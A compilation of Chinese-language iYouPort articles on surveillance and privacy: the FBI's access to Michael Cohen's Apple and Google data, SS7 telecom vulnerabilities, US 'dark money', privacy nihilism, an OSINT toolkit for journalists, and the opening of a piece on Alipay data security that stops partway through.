在现有媒体和通信法的支持下，很多民主政府已经表现出采取被动行动并在没有民主协商的情况下实施审查制度的态度。

互联网最初被视为对国家审查和控制的解毒剂，主要是因为它曾在功能上无法被监视或控制除物理访问互联网连接以外的任何内容，并且

由于缺乏有关互联网技术使用的法规。

然而，限制公民可以通过互联网访问的信息类型的意愿和能力从未如此强大 ，即使互联网本身从未如此重要。

一些社交媒体平台选择参与政治化的自我审查，这只是一个更大、更可怕的趋势的冰山一角。

更多详见《大部分审查并非如你平日的吐槽对象那般显而易见——为自由而战（二）》

注：这篇文章写得不够透彻，我们增加了一些关联内容以便能被读懂。最透彻的应该是这本书《互联网究竟是什么？—— 来自“监视谷”惊人的启示》。但我们依旧翻译它，至少能证明美国学者也亲口承认这个问题了。这可不怎么容易。

The Internet Is Making You Less Free

原文

亲手铸就的枷锁 - iYouPort

你应该了解的现实

所有使用苹果和谷歌产品/服务的人都可能会遭遇到”六行字绞死你”的噩梦-- 并不一定需要后门和苹果谷歌泄漏数据。介绍一个现实的反面教材……

「图」

「图」

我们对特朗普政府和民主党的俄罗斯阴谋论没有任何兴趣。但是其中有一件事值得提一下，因为它是所有使用苹果和谷歌产品/服务的人都可能会遭遇到的—— 并不一定需要后门和苹果谷歌泄漏数据。

这是一个现实的反面教材。当事人是特朗普的律师迈克尔科恩。

一个未开封的法庭文件显示了美国联邦调查局能够从特朗普的律师迈克尔科恩那里获得多少信息—— 这些信息都是来自 Google 和 Apple 的产品。

值得注意的是，FBI 利用的是 Cohen 在 Apple 设备上使用的 Touch ID 和 Face ID，允许用户通过扫描他们的脸部或指纹而不是输入密码来快速登录 iPhone 和计算机 ……但这为执法部门提供了访问这些设备的额外便捷手段。

在一份授权申请中，FBI 特工要求授权“将 Cohen 的手指（包括拇指）按到主题设备的 Touch ID 传感器上，或者将主题设备放在 Cohen 面前，以便尝试通过面部识别码解锁设备….“。

一份授权要求不仅可以访问 Cohen 的三个 Gmail 帐户以及其他电子邮件帐户，还可以访问 Google 默认为其用户提供的一系列信息，包括搜索历史记录，与帐户关联的 Web Cookie，设备信息，以及许多其他元数据类别。

一份宣誓书描述了 FBI 如何通过手机位置数据定位了 Cohen 在纽约 Loews Regency 酒店的临时位置。然后特工使用了黄貂鱼或 IMSI 捕手，这是一种手提箱大小的设备，模仿一个手机信号塔以欺骗手机连接并显示其位置……

检察官还利用了特朗普最近签署的新法律。根据联邦调查局特工向法院提交的一份宣誓证词，纽约南区的调查人员强迫谷歌转交科恩的一些文件，但该科技巨头最初“拒绝提供存储在美国境外的计算机服务器上的数据”。

几周之后，特朗普将 CLOUD 法案签署为法律，这使得美国执法部门在海外追踪数据的途径更加合法……在2018年4月的一份宣誓书中，联邦调查局特工辩称，“根据新法律，提供者必须披露数据，即使数据存储在国外”。法官于当天晚些时候批准了新的搜查令，让调查人员可以访问 Google 提供的其他信息，包括 Cohen 的电子邮件，附件，地址簿和存储在 Google 云端硬盘中的文件。一位技术法专家告诉CNN，警方现在寻求获取越来越多的信息。

“我认为人们在这些服务上留下的任何电子碎片都可能被用来对付你。” 这句话是关键，与你究竟做错过什么事没有任何关系。不要自己为自己铸造一副枷锁，更不要把它交给你的敌人。

本周末之前的 Knowledge Node 栏目中 IYP 将发布一份比较详细的指南，关于如何避免这副枷锁。〇

HOW THE FBI EASILY RETRIEVED MICHAEL COHEN’S DATA FROM BOTH APPLE AND GOOGLE? “I think any of the electronic debris that people leave online on these services is all potentially subject to being used against you.”

广告

原文

什么是 SS7 ，据称中国正用它来窥探特朗普的手机？ - iyouport

你应该了解的现实关于高堡奇人地缘政治

【2018年9月1日存档】几十年来，电信行业已经知道其移动基础设施中有一个主要漏洞，那为什么没有拯救它？

纽约时报说，特朗普经常使用个人的 iPhone 和朋友、密友通信，而不是另外两部国安局推荐的保密 iPhone。英国“泰晤士报”采访的匿名白宫官员称，特朗普一再被警告，他在这些设备上拨打电话并不安全，“中国间谍经常在窃听。”

去年，美国国土安全部的一份报告发现，政府雇员使用的移动设备在信息安全方面存在严重弱点。特别是，该报告指出了七号信令系统（SS7），这是电信公司用来协调他们如何将我们的智能手机数据和呼叫路由到世界各地的协议，它本身就是一个重大威胁。

虽然允许中国间谍窃听特朗普电话的机制在“ 泰晤士报”的报道中没有被提及，但有充分的理由相信它涉及 SS7 —— 过去曾多次被用来监视美国和外国政府官员。

什么是 **SS7** ？

1980 年，国际电信联盟将七号信令系统编纂为电话信令的国际标准协议。信令是向网络提供信息的技术术语，在通信设备之间传递的各种控制信号，如占用、释放、设备忙闲状态、被叫用户号码等，都属于信令。信令就是各个交换局在完成呼叫接续中的一种通信语言。信令系统指导系统各部分相互配合，协同运行，共同完成某项任务。当 SS7 被用作路由电话呼叫的标准协议时，它标志着电话革命。

在 SS7 之前，信令信息是在与呼叫本身相同的信道上发送的：用户可以拨打号码（信号）并在相同的线路上通话。SS7 则建立了用于信令和实际呼叫的单独信道。这不仅允许显著更高的数据传输速率，而且还允许在呼叫期间的任何时刻而不是仅在开始时发生信令。这大大提高了电话的质量和可靠性。

然而，到了千禧年，SS7 协议的裂缝开始显现。SS7 网络的主要问题是它将通过网络发送的所有信息视为合法信息。因此，如果不良行为者获得对网络的访问权，他们就可以捕获该信任系统并使用它来操纵或拦截所发送的信令信息。1999 年，第三代合作伙伴计划（3GPP）-一个处理电信标准的组织联盟，对 SS7 中发现的漏洞发出了严重的警告。

“当前 SS7 系统存在的问题是，消息可能以不受控制的方式被改变，注入或删除到全球 SS7 网络中，”3GPP 在 2000 年的一份报告中写道。正如 3GPP 所指出的那样，过去 SS7 信号是在“相对较小”的电信提供商之间路由的，这使得对该信道的控制更加可行。SS7 的设计者并未预料到互联网和移动电话的爆炸性增长，这导致了连接到主要电信骨干网的小型网络的激增。

如果 SS7 最初只有几个入口被主要的电信公司和组织小心保护，那么到了中期就有成千上万的入口，其中许多都受到威权政权的控制。这使得整个系统对于每个人都存在风险。

“SS7 没有足够的安全性，”3GPP 在其报告中总结道，“移动运营商需要保护自己免受黑客攻击以及可能阻断网络或影响网络正常运行的无意操作。”

间谍和黑客如何利用了 ***SS7*** ？

基于 SS7 安全漏洞的可怕预测，人们也许会假设电信组织将采取行动来保护世界移动通信的骨干，但他们都错了。

尽管 SS7 的安全问题在 20 多年前就被注意到了，但这些年间几乎没有采取任何措施来解决这些问题。正相反，电信行业是在尽其所能避免解决 SS7 的安全漏洞。

与此同时，我们越来越依赖手机，这些手机现在不仅用于打电话，还用于控制智能家居和查看我们的银行账户等所有内容，更有双重身份验证！这更加剧了对 SS7 网络的攻击风险。

正如 Kim Zetter 在文章中所指出的那样，电信行业没有对 SS7 的漏洞采取行动的原因是因为许多运营商“认为风险是理论上的。”事实上，正如 3GPP 报告中所指出的那样，尽管研究人员认识到理论上可能发生许多不同的攻击，但是目前为止还没有发现对 SS7 进行的故意攻击。其中包括跟踪个人手机的物理位置，有针对性地中断手机服务、截取短信和窃听电话。

2008 年，研究员 Tobias Engel 在德国的黑客大会 Chaos Communication Congress 上就展示了如何使用 SS7 定位个人手机；2014 年，他在 CCC 进行了另一场演讲中，展示了 SS7 如何用于定位、跟踪和操纵手机用户。正如 Engel 指出的那样，获得 SS7 网络的访问轻而易举：通过 hacking 连接到互联网的电信运营商设备就可以完成，通过称为 femtocell 的低功率蜂窝基站访问它，或者只需从电信公司购买访问权限。

同年，美国助理国务卿维多利亚·努兰（Victoria Nuland）在与美国驻乌克兰大使的电话会议上与欧盟联系。正如乌克兰电信管理局晚些时候在一份报告中所揭示的那样，该呼叫发生在一个普通的电信网络上，被拦截并重新转向俄罗斯圣彼得堡的固定电话。虽然研究人员并不认为是俄罗斯使用 SS7 漏洞来拦截电话，但事件的细节显示似乎可能就是这种情况。

到 2014 年，已经很清楚 SS7 攻击的威胁已不再是理论上的。事实上，**SS7** 网络正在成为政府和非国家行为者最有力的攻击媒介之一。然而，尽管存在这些风险，电信行业仍积极抵制实施强有力的安全措施以解决 **SS7** 的漏洞。

2016 年，两名德国黑客通过窃听加利福尼亚州国会议员 Ted Lieu 使用 iPhone 拨打的电话，在 60 分钟内展示了 SS7 攻击的威力。此外，他们还能够确定 **Lieu** 在前一天晚上住过哪家酒店，即使他关闭了手机上的 **GPS** 功能。

在此之后，Lieu 致函众议院监督和政府改革委员会，要求其对 SS7 进行调查，以确定其脆弱程度，并确定可能的解决方案。

“这个漏洞有数千种方式影响商业和国家安全，”Lieu 告诉华盛顿邮报，“我确信特朗普的竞选活动很想知道 Ted Cruz 竞选经理在他的手机上说的话。”

Lieu 说的有点接近事实了。然而真实的结果是，中国和俄罗斯的间谍似乎利用了这些相同的漏洞窃听特朗普，而不是特朗普利用 SS7 漏洞窃听 Cruz。

尽管 SS7 漏洞对国家安全和个人隐私造成的风险已有很多详细记录，但问题的适当解决方案尚不确定。2016 年，联邦通信委员会成立了一个研究该问题的工作组，并于 2017 年初发布了最终报告。

一种可能的解决方案是放弃 SS7 网络以获得更新的信令协议。实际

上，通过互联网（VoIP）路由的数据和呼叫数量的增加意味着为计算机网络设计的信令协议也可以被电信组织有效地利用。一种这样的协议被称为 Diameter，它是在 90 年代后期开发的，用于验证通过计算机网络发送的信息。

虽然联邦通信委员会承认“Diameter 具有一定的固有能力使其更难以被攻击”，但这必须权衡其“可能引入新的漏洞”这一事实。事实上，一些研究团队已经证明了可以在 Diameter 上使用类似 SS7 的漏洞。

FCC 提出的另一个解决方案是电信提供商开发“信任圈”，这将涉及创建一个系统，用于根据收到的信息类型和发送信息的位置对传入信息的可信度进行排序。最后，FCC 建议电信提供商为其用户提供加密支持。

“SS7 漏洞利用主要是因为其范围有限，”FCC 报告总结道，“这些威胁专为特定的最终用户定位设计。消费者可以通过使用端到端加密来保护消息和语音通信内容。“

问题在于，当使用固定电话或手机进行呼叫时，它不是端到端加密的。信号通常在其流通中的不同点加密，但遍历大部分未受保护的网络。因此，FCC 建议手机用户使用 Signal 或 Tor 等商业加密服务。

我们可能永远不会确定 SS7 网络是否真的被利用来窃听特朗普了，但有一件事是肯定的：通过坚持在商业电信网络上使用普通 iPhone，美国总统已经将自己暴露给了世界各地的间谍。〇

原文

什么是”黑钱”？解答5个问题 - iyouport

你应该了解的现实老大哥的真面目

【2020年5月14日存档】学习民主，要先学习杜绝假民主

随着2020年大选季的到来，“黑钱”再次成为新闻。

缅因州的共和党参议员 Susan Collins 谴责“黑钱”在政治运动中的影响。蒙大拿州州长 Steve Bullock 将反对黑钱的行为作为民主党总统竞选的核心内容。

但是“黑钱”到底是什么，为什么它被认为是一个问题？纪录片，两年前的

法学教授 Richard Briffault 回答了这一问题，并解释了如何揭露黑钱。

- 不要错过《民间数据库和处理分析工具：挖掘黑钱、腐败、有组织犯罪、离岸公司……》

推荐两个站点，在这方面的调查比较好：

- 《BUYING YOUR VOTE—Dark Money and Big Data》
- 《issueone》

1、什么是 “黑钱”？

「图」

竞选活动依靠金钱来进行。

钱用来支付薪水，旅行，尤其是广告。个人不富裕的候选人依靠捐款来支付这些费用，或者依靠政党和其他政治团体的支持性支出。

- 《特朗普的竞选经理承认花了10亿美元做广告》

自70年代水门事件以来，联邦法律已对政治捐款施加了限制，并要求候选人向联邦选举委员会披露“大多数”用于竞选活动的捐款的来源。

大多数州的选举都有类似的法律。

在制定披露要求后的最初几年中，大多数联邦竞选支出都被披露了。但是，随着不断变化的竞选方式，尤其是，既不是候选人委员会也不是政党的外部团体的作用日益增强，使得一些大型捐助者得以掩盖更多的捐助。

从2010年开始，阳光基金会的竞选财务观察员开始将其中一些不受监管的基金称为“黑钱”。这个词在 Jane Mayer 的2016年最畅销的书中得到了普及。

“黑钱”是指未披露来源的竞选资金。

支出（例如，做那种批评对手的电视广告）通常会向FEC报告，但不会披露支付的人、公司或组织的身份。

- 《选举如何成为一门生意：私人情报市场和现实的有偿操纵者》

2、“黑钱”有什么问题？

「图」

缺乏信息披露使新闻记者、监管者和反对者更难以发现违反竞选财务法的行为，例如外国捐助者或政府承包商的非法捐款、以及超出法定限额的捐款。

它还隐藏了来自不可靠来源的非法捐款比如 Harvey Weinstein 或 Bernie Madoff。

而且这还不是全部。缺乏信息披露也使选民无法获得真正有价值的信息，也就难以准确判断。

正如美国最高法院在 Buckley 诉 Valeo 案中所显示的那样，1976年具有里程碑意义的裁决支持联邦竞选活动公开法，确定了候选人的财务支持者，“使投票人能看清候选人最有可能响应的利益”。

当所有候选人都在同一个政党时，这在初选中尤为重要，而选民不能

依靠政党的标签来决定要投票给谁。

举例来说，在目前的民主党总统竞选中，公开允许选民核实候选人对捐赠者的要求，这表明前副总统乔·拜登（Joe Biden）有多少说客，参议员伊丽莎白·沃伦（Elizabeth Warren）从大型个人捐助者那里获得了近30%的资金，以及某些硅谷捐助者正在支持南本德市长皮特·布蒂吉格（Pete Buttigieg）。

了解这些细节有助于选民了解候选人当选后可能倾向什么利益。

可以肯定的是，披露受到批评。去年夏天，由于众议员华金·卡斯特罗（Joaquin Castro）在推特上向特朗普推销大型捐助者的姓名和雇主而引起的争执 —— 所有这些都已按法律要求予以披露 —— 突显了某些人的担心，即“披露是侵犯了捐助者的隐私”。

3、究竟有多少黑钱？

「图」

由于其真的非常“黑暗”，因此很难知道究竟有多少黑钱，但是有理由相信这一数字很大、并且还在不断增长。

请记住：有些黑钱支出是在未披露捐赠人的情况下向联邦选举委员会报告的，而有些黑钱支出则根本没有报告。

竞选资金监管机构 Center for Responsive Politics 发现，黑钱团体报告称在2016年联邦选举中花费了1.81亿美元。在过去十年中，黑钱占候选人和政党以外的团体支出的近五分之一。

但是，向FEC报告的支出很可能仅代表“冰山一角”。只要竞选活动的支出不予披露，黑钱的总数是不可知的。

4、为什么可以隐藏捐款？

「图」

黑钱源于竞选财务法律中的空白。

联邦选举法最明确地涉及候选人、政党和主要是为候选人和政党提供支持的政治委员会的报告和披露。但是，不要忘了其他组织也会参与进来。

这些组织包括美国商会等商业团体和贸易协会、美国全国步枪协会或保护选民联盟等会员组织、工会以及很多不同的意识形态团体。

这些团体不必报告其捐助者，因为他们声称致力于解决问题，而不代表特定候选人。

有一些例外。如果该团体在广告宣传运动上花费数额巨大，则必须报告该支出以及专门帮助购买该广告的任何捐助者。

但是法律只涵盖了某些宣传活动。只有字面上要求击败明确指出的候选人的广告（“express advocacy”）才是可以公开的竞选广告。

这意味着组织可以对广告中的候选人进行猛烈抨击或热烈赞扬，但只要能避免呼吁人们如何投票就可以避免披露捐赠者。

2002年，国会通过了麦凯恩-法因戈尔德法 (McCain-Feingold Act)，该法将披露范围扩大到包括广播广告，这些广播广告涉及在初选前30天和大选前60天提及候选人，但未覆盖竞选季初期播出的类似广告。

由于许多名义上非政治性的组织间接为竞选广告提供资金，因此追随这笔钱变得更加困难。他们通过捐赠给另一个购买广告的团体来做到这一点。有时，即使是第二个团体，也要在购买广告之前将资金转移到第三家组织。

这种“俄罗斯套娃”的做法绕开了任何透明度要求。

即使实际进行支出的组织必须向联邦选举委员会披露其大额捐助者，但这些报告仅列出了该链条中下一个环节的贡献 —— 并未告诉选民任何有关实际支付者的信息。

5、该怎么办？

「图」

严重的“黑钱”问题也许有可能通过立法修正来解决。

首先，可能要求所有组织（包括从事选举相关支出的公司、工会和非营利组织）披露其资金用于竞选广告的大型捐助方。

其次，当披露的捐赠来自链条下游的组织时，披露的内容需要包括该组织的主要捐赠者。一些州，例如新泽西州和科罗拉多州，最近通过了要求提供该信息的法律。

去年春季美国众议院通过了类似的立法，针对联邦选举中的大量黑钱捐献者和支出者，尽管参议院的共和党人基本不太可能接受。

可以肯定的是，仍然存在一些宪法问题，尤其是与选举相关的广告的定义问题。但是由于披露不会限制或禁止竞选资金的使用并增加选民信息，法院经常认定披露与《第一修正案》相一致。

换句话说，与竞选融资改革中的许多其他问题不同，改善披露的障碍是政治上的，而不是宪法上的。

- 不要错过，新的政治研究热门议题《投票可能正是民主的问题？》

Richard Briffault—Joseph P. Chamberlain Professor of Legislation, Columbia University ○

原文

什么是高峰冷漠？从白宫到微信 - iyouport

你应该了解的现实关于中国社会

【2018年12月8日存档】马三立教导我们说，有一种治大病的偏方叫：“买口棺材预备着”。

什么是高峰冷漠？这个词曾经被用来描述一些公共问题 —— 如气候变化、烟草使用、监视资本主义、或垄断 —— 达到临界点的时刻：越来越多的人感受到灾难性后果的那一刻。但并非所有人都能认识到问题在哪儿，否定问题的真实性达到了顶峰，并开始了长期的、不可避免的衰退。

高峰冷漠是这样一种理论，即 如果有一个被你错误否认了的真正问题，那么这个问题的后果就会不断地增长，直到你再也不能否认它为止。

但高峰冷漠并不一定意味着行动。它可能意味着虚无主义。因为承认很容易伴随着绝望：“好吧，是的，我终于承认你一直都是对的，吸烟会带给我癌症，但他妈的，现在已经太晚了，我可以尽情享受这支香烟“。

同时想想这些非常熟悉的观点：反正有一天我的所有数据都会泄漏，那为什么我不能享受 Facebook？或者，总之黑客是无所不能的，从来没有绝对的安全，所以为什么还要警惕微信？

现在，一项新的调查显示，大多数美国人，包括大多数共和党人（包括大多数老龄白人男性共和党人）都相信气候变化。这绝对符合气候变化的过程：当飓风和龙卷风越来越普遍、洪水泛滥、野火不断，越来越难以否认气候变化。

目前转型尚未完成。共和党人仍然倾向于否认气候变化的严重性，并且在较小程度上否定它是否是由人类活动引起的。如果有足够的时间，这将会得到改变：当你最爱的人或最珍惜的东西被气候变化消灭时，对气候变化严重性的任何怀疑都将被抹去。

但是，经常伴随着高峰冷漠的虚无主义也是明显的：越来越多的共和党人直接从“气候变化不真实”过渡到了“对气候变化采取任何行动都为时已晚”。

再看看中国的状况，从最初在社交媒体炫耀自己的分数，直到现在人们会告诉你：“好吧，社会信用评分是可怕的，可已经到了这种程度我又能怎么办？”

我们上周的编译报道，超过 200 家制造商，包括特斯拉、大众、宝马、戴姆勒、福特、通用汽车、日产、三菱和美国上市的电动汽车初创企业 NIO，都在向中国政府支持的监控中心和数十个其他数据点传输用户的实时信息……然而，对车主的采访却表明，此类披露基本无效。车主说：“关注这些东西是没用的，如果你担心这种问题，那么就没法在这个国家生活。”

于是还是那句话，揭露必需能带来改变的行动，否则它就不是揭露，只是一个拉广告的新闻稿。

最近的一项研究发现，拥有智能扬声器的人都意识到了老大哥的风险，但他们认为“隐私侵蚀现在已经成为现实，我们无能为力”。

这种隐私虚无主义并不新鲜，大家很早就明白这种现象，虽然人们说他们重视隐私，但他们的行为通常会破坏隐私保护（比如不更改密码）。研究人员采访了17名智能扬声器用户和17名故意未购买智能扬声器的人，并让智能扬声器用户每周记录他们如何使用该设备。最后发现，买主并不打算采取措施来保护他们的隐私。例如，许多设备都有一个静音按钮，允许用户关闭麦克风，但研究人员发现大多数用户从未使用过它。

用户也很少查看设备的活动日志，实际上他们可以查看和删除录音。研究人员发现，用户并没有使用此功能来保护个人隐私，而是利用它来监视房屋维护者和保姆。

- 关联：《鬼魅物联网》

就在写这篇文章一小时前刚刚收到了一条来自中国微信的回复：“别再发这些墙外的链接了，毫无意义，浪费我们的流量”。

想想被要求手持身份证正面拍照才能注册的微信公众号，拥有 350 万注册者这一事实，或者还可以延伸为，“反正也无法把墙推到，倒不如想想怎么在墙内赚钱”。

但是，我想知道这种恶化的临界点在哪儿？隐私权丧失的危险也许不如气候变化那般可触，它是一种缓慢的将人腐化成玩偶的过程，直到走得太远来路彻底模糊，没有人还能记得自己是从哪里开始变成了纯粹的奴隶。

当多年前中国的知识分子兴奋于“阈值论”的时候 – 即 人们认为社会所承受的压力有一个临界点，一旦突破，反抗就会像高压锅一样爆发，当时 IYP 反驳过这种说法，我们认为这一思路非常天真（见“北京雾霾再次爆表，离“阈值”还有多远？”）。但我现在后悔了。如果按照高峰冷漠的逻辑，阈值论破灭的结果岂不是要真的彻底放弃？

关键问题不只有高峰冷漠，还有，为什么要去虚构这种能让自己心安理得地等待的理论？

我依然相信，只要还有人在不断地实践，虚无主义就不会彻底吞没一个社会。是实践，不是像某些知识分子那样只是为了批评别人而存在。

原文

从信息验证到安全防御 - 日常必备的调查工具包 - iYouPort

你应该了解的现实少数派报告

这里是基本工具

「图」

「图」

同样是做调查，有些人很擅长技术，调查过程更轻松、更深入，最重要的是更安全；另一些人则不擅长技术，往往只能通过社交关系取得转述性的信息，并难以验证，而且自己和信息源都非常不安全。

- 首先回顾一下《究竟什么是调查？（声称“起底”的大多是骗人的）》

调查记者在技术能力方面落差极大，这点在全球很多国家都是如此。国际记者中心（ICFJ）去年发布过一份报告，证实了这个问题所引发的很多严重问题：

- 技术人员在新闻编辑室中人数稀少
- 在假新闻和黑客盛行的时代，只有极少数记者采取了预防措施
- 超过一半的记者（54%）和新闻编辑室（52%）不能保护自己的信息
- 只有不到一半（45%）的新闻编辑室有条件做日常数据分析
- 只有40%的新闻编辑室提供数据分析方面的培训 ……

事实上我们的“"开源情报"”栏目中介绍的所有工具、技巧和思考方式，都是用于调查的，不论是公民记者、NGO组织还是职业调查记者 —— 掌握信息验证、信息挖掘和数据分析的能力，都非常重要。

熟悉本栏目的读者一定知道，我们提供过非常多的工具；但对于基本调查工作来说，您至少需要熟练掌握一些常规的工具 —— 所有工具就如一个超大的武器库，它能帮你完成几乎任何事；而常规工具就如

多功能钥匙扣，每天都应该带在身上，因为大部分时间你都需要它们。

本文来总结一下，作为调查者您的随身钥匙扣上应该装些什么。

不要害怕，这些东西都非常简单，即便您没有经过任何培训也不难掌握（还记得你第一次拿到电脑时的样子吗？没人教你怎么谷歌，但你打开那个网页后立刻就学会了。当然，深度使用这些工具仍需要一定经验和知识）

好的，现在开始。

「图」

「图」

1、网页变更提醒

作为调查记者，经常需要监测某些网页的内容变更情况。

Versionista和VisualPing这两款工具，能省去每天早上手动查看的麻烦。

两者都十分简单易用：只需添加你想监测的网站以及您的个人邮箱地址，当目标网站出现变更时，你就能收到邮件提醒。

这两款工具还会收藏目标网站的不同版本，您可查询某段时间内目标网站页面的变化。

两者均提供免费的基本查询，付费可使用更多进阶功能。

「图」

「图」

2、文件管理神器

调查记者经常需要处理海量文件，这方面被广泛推荐的工具之一是DocumentCloud，它可以将PDF文件转换成文本格式、统计用户上传文件的相关数据。

但如果你需要分析上千份甚至更多的文件时，Overview 会更实用些。

Overview 支持多种文件上传渠道，包括 DocumentCloud，并能处理少至几十页、多达百万页的文件。

- 《如何迎接更多的“巴拿马文件”？》

此外，Overview 能以多种形式将文件集中的数据生成可视化、可生成词云或制作网络图。

Overview 上的多款搜索工具还能帮你轻松筛选数据，以查询特定信息。

其另一功能是按内容为你的文件自动分组，保存至不同的文件夹。

与 DocumentCloud 类似，Overview 也配备了光学字符识别技术（OCR），不仅可查看文件的原始格式，还可看纯文字版。并且，你还可以在文件上添加标签和笔记。

3、文件加密共享

安全是最重要的事 —— 不仅是您的个人安全，还包括与您联系的信息提供者的安全；危险性和信息的重要程度成正比。

您必须有一个可信赖的媒介作为资料互通、与信源联络以分享某些敏感文件和信息的通道。

敏感文件的传送必须能做到避免被拦截，而且传递双方都应该保存可靠的匿名性，那么最简单的利器就是 OnionShare。

恰好今天的另一篇文章介绍了 OnionShare 2.2 在这里《新版 OnionShare 使任何人都可以轻松发布匿名的、无法审查的网站》。

OnionShare 是一款开源软件，适用于大多数操作系统，包括 Windows、Mac OS 和 Linux。

进行文件共享时，OnionShare 会建立一个安全的Tor服务器并生成一个链接，文件接收方可通过该链接和匿名的Tor浏览器下载文件。下载完成后，OnionShare 默认马上关闭连接，这样他人就无法找到文件的踪迹了。

「图」

「图」

4、推特用户分析

要挖掘推特用户的个人信息，FollowerWonk 是最佳工具之一。

FollowerWonk 提供了一系列工具帮助你做用户分析。

例如，你可以对比多个推特用户的个人简介、查看他们各自在推特上的活动、他们的粉丝、或他们关注的用户有哪些重合。

FollowerWonk 最有用的功能之一是通过个人简介来查找用户，这对于寻找特定行业或专业领域的联络人来说尤其有用。

此外尤其推荐我们曾经介绍过的挖推特神器之一：

- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》

5、"Hunter.io"

查找调查对象的联系方式是调查工作的重头戏。

Hunter.io 能帮你挖出某些带特定域名的邮箱地址，比如说政府部门的邮箱。

即使有时不能给出准确地址，Hunter 也会利用他们的算法，提供最接近的猜测结果（例如，“{last name}{first name}@company.com”）。

接着，你可以用 Email Verifier 来测试所得的邮箱是否是真实存在的邮箱。

还可以在 Chrome 浏览器上安装 Hunter 的插件，这样做能在领英个人页面添加一个“查找他们的邮箱地址”（Find their email）的功能。

6、"InVID"

InVID 浏览器插件是由一群欧洲记者和产品设计师共同设计的视频核查工具。

它能够挖出视频的缩略图、某一帧画面、元数据和其他信息，来帮你判断视频的来源。不过局限是，目前它只能用于核查 YouTube 和 Facebook 视频。

- 《10个简单技巧 快速验证社交媒体热门视频的真伪》
- 《如何快速从大部分社交网络上抓取视频？深度调查的必备基础工具》
- 《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》
- 《公民记者如何验证民间爆料视频的真实性？》
- 《验证在线信息真伪的简单思路》

「图」

「图」

7、"YouTube DataViewer"

人权组织常需要核查读者生成的内容（UGC），确认内容是否合法。

由国际特赦组织开发的 YouTube DataViewer，就是帮你搜索 YouTube 视频出处的工具。

- 在这里看到具体介绍：《如何从YouTube视频中提取音频、确切的上传时间和缩略图？》

如果视频本身没有什么特别值得注意的地方，你可以利用反向图像搜索（Reverse Image Search）来查询视频生成的缩略图。反向图像搜索是调查中最常用的利器，在下面回顾我们曾经的介绍和演示：

- 《搜图功能哪家强？图像验证方法的能力对比》
- 《谷歌搜图不好用怎么办：推荐另外两个更好用的工具》
- 《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》
- 《那辆军车正驶向哪里？：侦探挑战时间》
- 《侦探挑战游戏：快速地理定位的两种方法》
- 《信息验证技巧：如何确定照片(视频)的拍摄时间？》
- 《使用电影做侦探挑战演示》
- 《让阴影说话：开源调查小游戏》
- 《新疆火车站戴手铐的视频是真的吗？在哪里拍摄到的？》

8、"Sqoop"

普通记者和调查记者的区别之一在哪？—— 挖掘文件的程度。

想要查询法庭记录、商业档案以及其他国家层面的公开文件，不妨试下Sqoop —— 但只对职业记者免费。

「图」

「图」

9、"Botometer"

网络水军盛行的时代，要避免在报道上出错，记者必须能懂得辨认社交媒体用户的真实性。

由美国大学研究者开发的 Botometer 能帮你检测某个Twitter账户的背后是真人还是机器操作。

虽然不能保证100%的准确率，但它已是市面上最好的“机器人检测仪”，还能用来分辨真粉和僵尸粉。

事实上您自己也可以判断，尤其是在僵尸牧民快速升级措施的当下，亲自检查是很有好处的。请回顾我们提供的方法和调查演示：

- 《如何分辨：机器人、僵尸网络和 trolls》
- 《如何发现社交媒体上的机器人账户？- 12种方法》
- 《如何挖掘机器人水军的幕后推手？》
- 《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》
- 《巨魔崛起：政府资助的网络水军正遍布全球》
- 《诈：在线信息战操纵战略的多样化》

10、"Burner"

隐私和安全问题是所有调查工作的重点！

不论信息加密工作做得多好，你总会在网络上—— 通常在元数据中—— 留下个人痕迹。

Burner 的作用是给你创建一个带加拿大或美国区号的“电话号码”（从而隐去了你的真实痕迹）。不过局限是暂时不能打国际通话。

此外请回顾我们曾经介绍过的多种一次性号码和一次性电邮，以及它们的功能比较：

- 《4款最佳一次性手机号码应用：适用 Android & iPhone》
- 《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》

- 《如何快速创建一个假人？简易版分身术—调查人员使用》

「图」

「图」

11、"Oligrapher"

如其名所示，Oligrapher 是一个可视化工具，专门用来设计呈现寡头政治家之间的关联的可视化图表。

它让读者使用 Little Sis（意思是“小姐姐”，取“老大哥”的反义）数据库的数据作图，后者是一个草根监督网络，包含数百万条有关世界上的政治强人和组织实体之间的社会关联信息。

如果在 Little Sis 数据库上搜不到你想找的人或公司，你还可以主动给数据库添加信息。

在下面看到我们曾经使用开源情报做出的可视化调查演示，以及一些方法：

- 《深层政治：Facebook金字塔的人形肌理—— 仅仅依靠开源数据，扒开利维坦的内裤》
- 方法，例如《如何挖掘目标人隐藏的人际关系？》

最后

如上所述，本文提及的工具和方法是作为调查人员日常必备的基础工具 —— 不论是公民独立调查还是职业调查记者。

如果您希望获得更多更专业级的工具、尤其是调查方法，欢迎阅读我们的“开源情报”栏目。以下是**部分**工具汇总：

- 《🗞 超级情报收集工具库：开源验证和调查工具及使用方法》
- 《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案 》
- 《搜远程桌面、摄像头、打印机、家用设备 … 等一切的超级Shodan搜索指南》
- 《一个搜索统治一切：调查用心而非技术》
- 《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》
- ……

○□

原文

以支付宝为例探讨移动支付的数据安全 - iyouport

你应该了解的现实技术-攻击防御和反抗

【2018年3月10日存档】在分析高度集中的移动支付提供商如何控制敏感用户数据方面，中国提供了一个复杂而富有启发性的案例研究。

加拿大公民实验室对移动支付系统进行了一些深入的研究。移动支付系统是一种快速发展的金融技术形式，这些研究将通过一个关于支付宝的案例，概述它们在中国的使用情况——支付宝在中国的发展速度比世界上其他任何地方都快，这将注定它的安全性和数据保护实践正在对数百万用户造成明显影响。

移动支付系统

「图」

移动支付系统（MPS）正在改变全球消费，智能手机用户越来越依赖这些应用程序进行日常交易。一些最受欢迎的应用程序包括 Google Wallet，Apple Pay 和支付宝。它们不仅用于在个人之间转移资金，还用于支付工资和账单，以及进行跨币种汇款。包括腾讯和阿里巴巴在内的非银行实体依赖其在电子商务等领域的现有广泛消费者群体，扩展到移动支付领域。

移动支付系统通常要求用户使用他们的电话号码和银行帐户信息注册帐户。除了支付和接收付款外，现在一些 MPS 还存储医院账单支付的医疗记录。通过从点对点交易收集的数据，公司可以提供增值服务，如风险缓解和消费者分析。

